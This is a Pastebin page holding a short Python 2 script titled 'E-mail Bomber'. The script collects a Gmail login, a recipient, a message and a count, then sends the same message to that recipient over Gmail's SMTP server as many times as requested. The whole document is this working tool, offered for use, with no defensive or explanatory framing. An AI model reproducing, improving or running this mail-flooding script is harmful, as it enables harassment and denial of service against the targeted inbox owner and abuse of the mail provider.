Advertisement
Venusaur

E-mail Bomber

Oct 7th, 2017
1,452
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.17 KB | None | 0 0
  1. # Note: You need to turn on access for less secure apps on your gmail account in order for this to work
  2.  
  3. import smtplib
  4. import sys
  5. import time
  6.  
  7. try:
  8.     email = raw_input("What is your gmail?\n")
  9.     password = raw_input("What is your password?\n")
  10.     recipient = raw_input("Who is the recipient of the e-mail?\n")
  11.     # subject = raw_input("What should the subject of the e-mail be?\n")
  12.     message = raw_input("What message would you like to send?\n")
  13.     count = int(raw_input("How many messages would you like to send?\n"))
  14.     # message = "Subject: {}\n\n{}".format(subject, message)
  15. except ValueError:
  16.     print "Invalid inputs."
  17.     sys.exit()
  18.  
  19. def send_email(email, password, recipient, msg):
  20.     server = smtplib.SMTP("smtp.gmail.com", 587)
  21.     server.starttls()
  22.     server.login(email, password)
  23.     server.sendmail(email, recipient, msg)
  24.     server.quit()
  25.  
  26. def main():
  27.     num = 0
  28.     start = time.time()
  29.     while num < count:
  30.         send_email(email, password, recipient, message)
  31.         num += 1
  32.         print "Email has been sent. {} left.".format(str(count-num))
  33.     print "It took {0:.2f} seconds to complete.".format(time.time()-start)
  34.    
  35. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement